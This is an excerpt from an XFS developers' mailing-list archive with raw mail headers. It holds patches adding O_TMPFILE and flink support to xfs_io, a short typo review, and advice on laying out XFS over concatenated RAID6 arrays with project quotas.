score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2B72C7FC8 for ; Thu, 20 Feb 2014 18:17:03 -0600 (CST) Received: from xmail.sgi.com (pv-excas3-dc21.corp.sgi.com [137.38.106.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 98B93AC001; Thu, 20 Feb 2014 16:16:59 -0800 (PST) Received: from P-EXMB2-DC21.corp.sgi.com ([169.254.2.247]) by pv-excas3-dc21.corp.sgi.com ([137.38.106.11]) with mapi id 14.03.0123.003; Thu, 20 Feb 2014 18:16:59 -0600 From: Shaun Gosse To: Christoph Hellwig , "xfs@oss.sgi.com" Subject: RE: [PATCH] xfs_io: add support for O_TMPFILE opens Thread-Topic: [PATCH] xfs_io: add support for O_TMPFILE opens Thread-Index: AQHPLoce5fTlIixZzkOa9y4ailbd+Zq+1wYQ Date: Fri, 21 Feb 2014 00:16:58 +0000 Message-ID: <8D3FA7645C1CFC4E9E783D22B4C708644B2AF1@P-EXMB2-DC21.corp.sgi.com> References: <20140220220000.GA17541@infradead.org> In-Reply-To: <20140220220000.GA17541@infradead.org> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [134.15.0.139] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Very minor point, but you've got a typo in the documentation portion of you= r patch. +create a temporary file not linked into the filesystem namepspace=20 Should be "namespace" of course. Cheers, -Shaun From BATV+5b0bbcd4fb1cc6decd15+3834+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 18:20:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 78C3A7F37 for ; Thu, 20 Feb 2014 18:20:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 52AB78F804B for ; Thu, 20 Feb 2014 16:20:38 -0800 (PST) X-ASG-Debug-ID: 1392942036-04bdf00fca20bd50001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id oADKGcqBb9PMG8a8 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Thu, 20 Feb 2014 16:20:36 -0800 (PST) X-Barracuda-Envelope-From: BATV+5b0bbcd4fb1cc6decd15+3834+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGdr2-0004wO-IB; Fri, 21 Feb 2014 00:20:36 +0000 Date: Thu, 20 Feb 2014 16:20:36 -0800 From: Christoph Hellwig To: Shaun Gosse Cc: Christoph Hellwig , "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs_io: add support for O_TMPFILE opens Message-ID: <20140221002036.GA18972@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: add support for O_TMPFILE opens References: <20140220220000.GA17541@infradead.org> <8D3FA7645C1CFC4E9E783D22B4C708644B2AF1@P-EXMB2-DC21.corp.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <8D3FA7645C1CFC4E9E783D22B4C708644B2AF1@P-EXMB2-DC21.corp.sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1392942036 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145334 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Feb 21, 2014 at 12:16:58AM +0000, Shaun Gosse wrote: > Very minor point, but you've got a typo in the documentation portion of your patch. > > +create a temporary file not linked into the filesystem namepspace > > Should be "namespace" of course. Thanks Shaun, I'll fix it for the next version. From BATV+5b0bbcd4fb1cc6decd15+3834+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 18:30:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 660CC7F86 for ; Thu, 20 Feb 2014 18:30:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 411DF304064 for ; Thu, 20 Feb 2014 16:30:26 -0800 (PST) X-ASG-Debug-ID: 1392942615-04bdf00fca20c6a0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 9LXQCKssd80oGvZm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 16:30:15 -0800 (PST) X-Barracuda-Envelope-From: BATV+5b0bbcd4fb1cc6decd15+3834+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGe0N-00079i-21 for xfs@oss.sgi.com; Fri, 21 Feb 2014 00:30:15 +0000 Date: Thu, 20 Feb 2014 16:30:15 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH v2] xfs_io: add support for O_TMPFILE opens Message-ID: <20140221003014.GA23416@infradead.org> X-ASG-Orig-Subj: [PATCH v2] xfs_io: add support for O_TMPFILE opens References: <20140220220000.GA17541@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140220220000.GA17541@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1392942615 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145334 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 On Thu, Feb 20, 2014 at 02:00:00PM -0800, Christoph Hellwig wrote: Add a new -T argument to the open command that supports using the O_TMPFILE flag. Signed-off-by: Christoph Hellwig --- Changes from V1: - fix typo in the man page - add -T option to the main option parser - handle IO_TMPFILE in the file and stat commands diff --git a/io/file.c b/io/file.c index db85ffc..73b893f 100644 --- a/io/file.c +++ b/io/file.c @@ -36,7 +36,7 @@ print_fileio( int index, int braces) { - printf(_("%c%03d%c %-14s (%s,%s,%s,%s%s%s%s)\n"), + printf(_("%c%03d%c %-14s (%s,%s,%s,%s%s%s%s%s)\n"), braces? '[' : ' ', index, braces? ']' : ' ', file->name, file->flags & IO_FOREIGN ? _("foreign") : _("xfs"), file->flags & IO_OSYNC ? _("sync") : _("non-sync"), @@ -44,7 +44,8 @@ print_fileio( file->flags & IO_READONLY ? _("read-only") : _("read-write"), file->flags & IO_REALTIME ? _(",real-time") : "", file->flags & IO_APPEND ? _(",append-only") : "", - file->flags & IO_NONBLOCK ? _(",non-block") : ""); + file->flags & IO_NONBLOCK ? _(",non-block") : "", + file->flags & IO_TMPFILE ? _(",tmpfile") : ""); } int diff --git a/io/init.c b/io/init.c index ef9e4cb..fd1a52f 100644 --- a/io/init.c +++ b/io/init.c @@ -136,7 +136,7 @@ init( pagesize = getpagesize(); gettimeofday(&stopwatch, NULL); - while ((c = getopt(argc, argv, "ac:dFfmp:nrRstVx")) != EOF) { + while ((c = getopt(argc, argv, "ac:dFfmp:nrRstTVx")) != EOF) { switch (c) { case 'a': flags |= IO_APPEND; @@ -179,6 +179,8 @@ init( case 'R': flags |= IO_REALTIME; break; + case 'T': + flags |= IO_TMPFILE; case 'x': expert = 1; break; diff --git a/io/io.h b/io/io.h index 6c3f627..0d2d768 100644 --- a/io/io.h +++ b/io/io.h @@ -35,6 +35,7 @@ #define IO_TRUNC (1<<6) #define IO_FOREIGN (1<<7) #define IO_NONBLOCK (1<<8) +#define IO_TMPFILE (1<<9) /* * Regular file I/O control diff --git a/io/open.c b/io/open.c index cc677e6..6bb0d46 100644 --- a/io/open.c +++ b/io/open.c @@ -22,6 +22,22 @@ #include "init.h" #include "io.h" +#ifndef __O_TMPFILE +#if defined __alpha__ +#define __O_TMPFILE 0100000000 +#elif defined(__hppa__) +#define __O_TMPFILE 040000000 +#elif defined(__sparc__) +#define __O_TMPFILE 0x2000000 +#else +#define __O_TMPFILE 020000000 +#endif +#endif /* __O_TMPFILE */ + +#ifndef O_TMPFILE +#define O_TMPFILE (__O_TMPFILE | O_DIRECTORY) +#endif + static cmdinfo_t open_cmd; static cmdinfo_t stat_cmd; static cmdinfo_t close_cmd; @@ -77,13 +93,14 @@ stat_f( int verbose = (argc == 2 && !strcmp(argv[1], "-v")); printf(_("fd.path = \"%s\"\n"), file->name); - printf(_("fd.flags = %s,%s,%s%s%s%s\n"), + printf(_("fd.flags = %s,%s,%s%s%s%s%s\n"), file->flags & IO_OSYNC ? _("sync") : _("non-sync"), file->flags & IO_DIRECT ? _("direct") : _("non-direct"), file->flags & IO_READONLY ? _("read-only") : _("read-write"), file->flags & IO_REALTIME ? _(",real-time") : "", file->flags & IO_APPEND ? _(",append-only") : "", - file->flags & IO_NONBLOCK ? _(",non-block") : ""); + file->flags & IO_NONBLOCK ? _(",non-block") : "", + file->flags & IO_TMPFILE ? _(",tmpfile") : ""); if (fstat64(file->fd, &st) < 0) { perror("fstat64"); } else { @@ -143,10 +160,13 @@ openfile( oflags |= O_TRUNC; if (flags & IO_NONBLOCK) oflags |= O_NONBLOCK; + if (flags & IO_TMPFILE) + oflags |= O_TMPFILE; fd = open(path, oflags, mode); if (fd < 0) { - if ((errno == EISDIR) && (oflags & O_RDWR)) { + if (errno == EISDIR && + ((oflags & (O_RDWR|O_TMPFILE)) == O_RDWR)) { /* make it as if we asked for O_RDONLY & try again */ oflags &= ~O_RDWR; oflags |= O_RDONLY; @@ -248,6 +268,7 @@ open_help(void) " -s -- open with O_SYNC\n" " -t -- open with O_TRUNC (truncate the file to zero length if it exists)\n" " -R -- mark the file as a realtime XFS file immediately after opening it\n" +" -T -- open with O_TMPFILE (create a file not visible in the namespace)\n" " Note1: usually read/write direct IO requests must be blocksize aligned;\n" " some kernels, however, allow sectorsize alignment for direct IO.\n" " Note2: the bmap for non-regular files can be obtained provided the file\n" @@ -272,7 +293,7 @@ open_f( return 0; } - while ((c = getopt(argc, argv, "FRacdfm:nrstx")) != EOF) { + while ((c = getopt(argc, argv, "FRTacdfm:nrstx")) != EOF) { switch (c) { case 'F': /* Ignored / deprecated now, handled automatically */ @@ -310,6 +331,9 @@ open_f( case 'x': /* backwards compatibility */ flags |= IO_REALTIME; break; + case 'T': + flags |= IO_TMPFILE; + break; default: return command_usage(&open_cmd); } @@ -325,6 +349,11 @@ open_f( if (!platform_test_xfs_fd(fd)) flags |= IO_FOREIGN; + if ((flags & (IO_READONLY|IO_TMPFILE)) == (IO_READONLY|IO_TMPFILE)) { + fprintf(stderr, _("-T and -r options are incompatible\n")); + return -1; + } + addfile(argv[optind], fd, &geometry, flags); return 0; } @@ -731,7 +760,7 @@ open_init(void) open_cmd.argmin = 0; open_cmd.argmax = -1; open_cmd.flags = CMD_NOMAP_OK | CMD_NOFILE_OK | CMD_FOREIGN_OK; - open_cmd.args = _("[-acdrstx] [path]"); + open_cmd.args = _("[-acdrstxT] [path]"); open_cmd.oneline = _("open the file specified by path"); open_cmd.help = open_help; diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 9543b20..7a92ff6 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -4,7 +4,7 @@ xfs_io \- debug the I/O path of an XFS filesystem .SH SYNOPSIS .B xfs_io [ -.B \-adfmrRstx +.B \-adfmrRstxT ] [ .B \-c .I cmd @@ -88,7 +88,7 @@ command for more details on any command. Display a list of all open files and (optionally) switch to an alternate current open file. .TP -.BI "open [[ \-acdfrstR ] " path " ]" +.BI "open [[ \-acdfrstRT ] " path " ]" Closes the current file, and opens the file specified by .I path instead. Without any arguments, displays statistics about the current @@ -119,6 +119,14 @@ truncates on open (O_TRUNC). .B \-n opens in non-blocking mode if possible (O_NONBLOCK). .TP +.B \-T +create a temporary file not linked into the filesystem namespace +(O_TMPFILE). The pathname passed must refer to a directory which +is treated as virtual parent for the newly created invisible file. +Can not be used together with the +.B \-r +option. +.TP .B \-R marks the file as a realtime XFS file after opening it, if it is not already marked as such. From BATV+5b0bbcd4fb1cc6decd15+3834+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 18:49:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 92BF87FA3 for ; Thu, 20 Feb 2014 18:49:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 85A0B304075 for ; Thu, 20 Feb 2014 16:49:37 -0800 (PST) X-ASG-Debug-ID: 1392943774-04cb6c6de063c1c0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 1eZ0hXNWRDFw5GbX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 16:49:35 -0800 (PST) X-Barracuda-Envelope-From: BATV+5b0bbcd4fb1cc6decd15+3834+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGeJ3-0002T1-UL for xfs@oss.sgi.com; Fri, 21 Feb 2014 00:49:33 +0000 Date: Thu, 20 Feb 2014 16:49:33 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_io: add support for flink Message-ID: <20140221004933.GA9445@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: add support for flink References: <20140220220000.GA17541@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140220220000.GA17541@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1392943774 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145334 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Signed-off-by: Christoph Hellwig diff --git a/io/Makefile b/io/Makefile index eaeb5b2..c16af87 100644 --- a/io/Makefile +++ b/io/Makefile @@ -9,8 +9,8 @@ LTCOMMAND = xfs_io LSRCFILES = xfs_bmap.sh xfs_freeze.sh xfs_mkfile.sh HFILES = init.h io.h CFILES = init.c \ - attr.c bmap.c file.c freeze.c fsync.c getrusage.c imap.c mmap.c \ - open.c parent.c pread.c prealloc.c pwrite.c seek.c shutdown.c \ + attr.c bmap.c file.c freeze.c fsync.c getrusage.c imap.c link.c \ + mmap.c open.c parent.c pread.c prealloc.c pwrite.c seek.c shutdown.c \ truncate.c LLDLIBS = $(LIBXCMD) $(LIBHANDLE) diff --git a/io/init.c b/io/init.c index fd1a52f..7d7bb89 100644 --- a/io/init.c +++ b/io/init.c @@ -58,6 +58,7 @@ init_commands(void) bmap_init(); fadvise_init(); file_init(); + flink_init(); freeze_init(); fsync_init(); getrusage_init(); diff --git a/io/io.h b/io/io.h index 0d2d768..1b3bca1 100644 --- a/io/io.h +++ b/io/io.h @@ -93,6 +93,7 @@ extern void dump_buffer(off64_t, ssize_t); extern void attr_init(void); extern void bmap_init(void); extern void file_init(void); +extern void flink_init(void); extern void freeze_init(void); extern void fsync_init(void); extern void getrusage_init(void); diff --git a/io/link.c b/io/link.c new file mode 100644 index 0000000..49ca6a5 --- /dev/null +++ b/io/link.c @@ -0,0 +1,70 @@ +/* + * Copyright (c) 2014 Christoph Hellwig. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include +#include +#include "init.h" +#include "io.h" + +#ifndef AT_EMPTY_PATH +#define AT_EMPTY_PATH 0x1000 +#endif + +static cmdinfo_t flink_cmd; + +static void +flink_help(void) +{ + printf(_( +"\n" +"link the open file descriptor into the filesystem\n" +"\n" +"\n")); +} + +static int +flink_f( + int argc, + char **argv) +{ + if (argc != 2) + return command_usage(&flink_cmd); + + if (linkat(file->fd, "", AT_FDCWD, argv[1], AT_EMPTY_PATH) < 0) { + perror("flink"); + return 0; + } + return 0; +} + +void +flink_init(void) +{ + flink_cmd.name = "flink"; + flink_cmd.cfunc = flink_f; + flink_cmd.argmin = 1; + flink_cmd.argmax = 1; + flink_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + flink_cmd.args = _("filename"); + flink_cmd.oneline = + _("link the open file descriptor into the filesystem"); + flink_cmd.help = flink_help; + + add_command(&flink_cmd); +} diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 7a92ff6..7d0c792 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -638,6 +638,9 @@ Only available in expert mode and requires privileges. Undo the effects of a filesystem freeze operation. Only available in expert mode and requires privileges. .TP +.B flink +Link the currently open file descriptor into the filesystem namespace. +.TP .BI "inject [ " tag " ]" Inject errors into a filesystem to observe filesystem behavior at specific points under adverse conditions. Without the From stan@hardwarefreak.com Thu Feb 20 21:33:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A89D47FAD for ; Thu, 20 Feb 2014 21:33:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7E968304070 for ; Thu, 20 Feb 2014 19:33:27 -0800 (PST) X-ASG-Debug-ID: 1392953606-04cb6c6de0645300001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id CJmcEVJFnD8oJFoo for ; Thu, 20 Feb 2014 19:33:26 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 0F8A66C0C0; Thu, 20 Feb 2014 21:33:26 -0600 (CST) Message-ID: <5306C90B.1000904@hardwarefreak.com> Date: Thu, 20 Feb 2014 21:33:31 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: "C. Morgan Hamill" , xfs@oss.sgi.com Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <52E91923.4070706@sandeen.net> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> <52F09E36.8050606@hardwarefreak.com> <1392748390-sup-1943@al.wesleyan.edu> <5303E7AC.50903@hardwarefreak.com> <20140220183125.29149.64880@al.wesleyan.edu> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <20140220183125.29149.64880@al.wesleyan.edu> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1392953606 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/20/2014 12:31 PM, C. Morgan Hamill wrote: > Quoting Stan Hoeppner (2014-02-18 18:07:24) >> Create each LV starting on a stripe boundary. There will be some >> unallocated space between LVs. Use the mkfs.xfs -d size= option to >> create your filesystems inside of each LV such that the filesystem total >> size is evenly divisible by the stripe width. This results in an >> additional small amount of unallocated space within, and at the end of, >> each LV. > > Of course, this occurred to me just after sending the message... ;) That's the right way to do that, but you really don't want to do this with LVM. It's just a mess. You can easily do this with a single XFS filesystem and a concatenation, with none of these alignment and sizing headaches. Read on. ... > 8 * 128k = 1024k > 1024k * 4 = 4096k > > Which leaves me with 5 disks unused. I might be able to live with that > if it makes things work better. Sounds like I won't have to. Forget all of this. Forget RAID60. I think you'd be best served by a concatenation. You have a RAID chassis with 15 drives and two 15 drive JBODs daisy chained to it, all 4TB drives, correct? Your original setup was 1 spare and one 14 drive RAID6 array per chassis, 12 data spindles. Correct? Stick with that. Export each RAID6 as a distinct LUN to the host. Make an mdadm --linear array of the 3 RAID6 LUNs, devices. Then format the md linear device, e.g. /dev/md0 using the geometry of a single RAID6 array. We want to make sure each allocation group is wholly contained within a RAID6 array. You have 48TB per array and 3 arrays, 144TB total. 1TB=1000^4 and XFS deals with TebiBytes, or 1024^4. Max agsize is 1TiB. So to get exactly 48 AGs per array, 144 total AGs, we'd format with # mkfs.xfs -d su=128k,sw=12,agcount=144 The --linear array, or generically concatenation, stitches the RAID6 arrays together end-to-end. Here the filesystem starts at LBA0 on the first array and ends on the last LBA of the 3rd array, hence "linear". XFS performs all operations at the AG level. Since each AG sits atop only one RAID6, the filesystem alignment geometry is that of a single RAID6. Any individual write will peak at ~1.2GB/s. Since you're limited by the network to 100MB/s throughput this shouldn't be an issue. Using an md linear array you can easily expand in the future without all the LVM headaches, by simply adding another identical RAID6 array to the linear array (see mdadm grow) and then growing the filesystem with xfs_growfs. In doing so, you will want to add the new chassis before the filesystem reaches ~70% capacity. If you let it grow past that point, most of your new writes may go to only the new RAID6 where the bulk of your large free space extents now exist. This will create an IO hotspot on the new chassis, while the original 3 will see fewer writes. Also, don't forget to mount with the "inode64" option in fstab. ... > A limitation of the software in question is that placing multiple > archive paths onto a single filesystem is a bit ugly: the software does > not let you specifiy a maximum size for the archive paths, and so will > think all of them are the size of the filesystem. This isn't an issue > in isolation, but we need to make use of a data-balancing feature the > software has, which will not work if we place multiple archive paths on > a single filesystem. It's a stupid issue to have, but it is what it is. So the problem is capacity reported to the backup application. Easy to address, see below. ... > Yes, this is what I *want* to do. There's a limit to the number of > store points, but it's large, so this would work fine if not for the > multiple-stores-on-one-filesystem issue. Which is frustrating. ... > The *only* reason for LVM in the middle is to allow some flexibility of > sizing without dealing with the annoyances of the partition table. > I want to intentionally under-provision to start with because we are > using a small corner of this storage for a separate purpose but do not > know precisely how much yet. LVM lets me leave, say, 10TB empty, until > I know exactly how big things are going to be. XFS has had filesystem quotas for exactly this purpose, for almost as long as it has existed, well over 15 years. There are 3 types of quotas: user, group, and project. You must enable quotas with a mount option. You manipulate quotas with the xfs_quota command. See man xfs_quota man mount Project quotas are set on a directory tree level. Set a soft and hard project quota on a directory and the available space reported to any process writing into it or its subdirectories is that of the project quota, not the actual filesystem free space. The quota can be increased or decreased at will using xfs_quota. That solves your "sizing" problem rather elegantly. Now, when using a concatenation, md linear array, to reap the rewards of parallelism the requirement is that the application creates lots of directories with a fairly even spread of file IO. In this case, to get all 3 RAID6 arrays into play, that requires creation and use of at minimum 97 directories. Most backup applications make tons of directories so you should be golden here. > It's a pile of little annoyances, but so it goes with these kinds of things. > > It sounds like the little empty spots method will be fine though. No empty spaces required. No LVM required. XFS atop an md linear array with project quotas should solve all of your problems. > Thanks, yet again, for all your help. You're welcome Morgan. I hope this helps steer you towards what I think is a much better architecture for your needs. Dave and I both initially said RAID60 was an ok way to go, but the more I think this through, considering ease of expansion, using a single filesystem and project quotas, it's hard to beat the concat setup. -- Stan From bonbons@linux-vserver.org Fri Feb 21 01:47:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 79F4B7F92 for ; Fri, 21 Feb 2014 01:47:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 542068F8040 for ; Thu, 20 Feb 2014 23:47:20 -0800 (PST) X-ASG-Debug-ID: 1392968838-04cbb00c2864a5a0001-NocioJ Received: from smtprelay.restena.lu (smtprelay.restena.lu [158.64.1.62]) by cuda.sgi.com with ESMTP id NsLuhio0k4reLzSl for ; Thu, 20 Feb 2014 23:47:19 -0800 (PST) X-Barracuda-Envelope-From: bonbons@linux-vserver.org X-Barracuda-Apparent-Source-IP: 158.64.1.62 Received: from smtprelay.restena.lu (localhost [127.0.0.1]) by smtprelay.restena.lu (Postfix) with ESMTP id 529D610583; Fri, 21 Feb 2014 08:47:18 +0100 (CET) Received: from pluto (pluto.restena.lu [IPv6:2001:a18:1:8::156]) by smtprelay.restena.lu (Postfix) with ESMTPS id 37AED10580; Fri, 21 Feb 2014 08:47:18 +0100 (CET) Date: Fri, 21 Feb 2014 08:47:17 +0100 From: Bruno =?UTF-8?B?UHLDqW1vbnQ=?= To: xfs@oss.sgi.com Cc: Dave Chinner , Ben Myers Subject: XFS Failed to recover EFIs - XFS_WANT_CORRUPTED_GOTO at line 1602 of xfs_alloc.c Message-ID: <20140221084717.3364a23e@pluto> X-ASG-Orig-Subj: XFS Failed to recover EFIs - XFS_WANT_CORRUPTED_GOTO at line 1602 of xfs_alloc.c X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.22; x86_64-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable X-Virus-Scanned: ClamAV X-Barracuda-Connect: smtprelay.restena.lu[158.64.1.62] X-Barracuda-Start-Time: 1392968838 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145343 Rule breakdown below pts 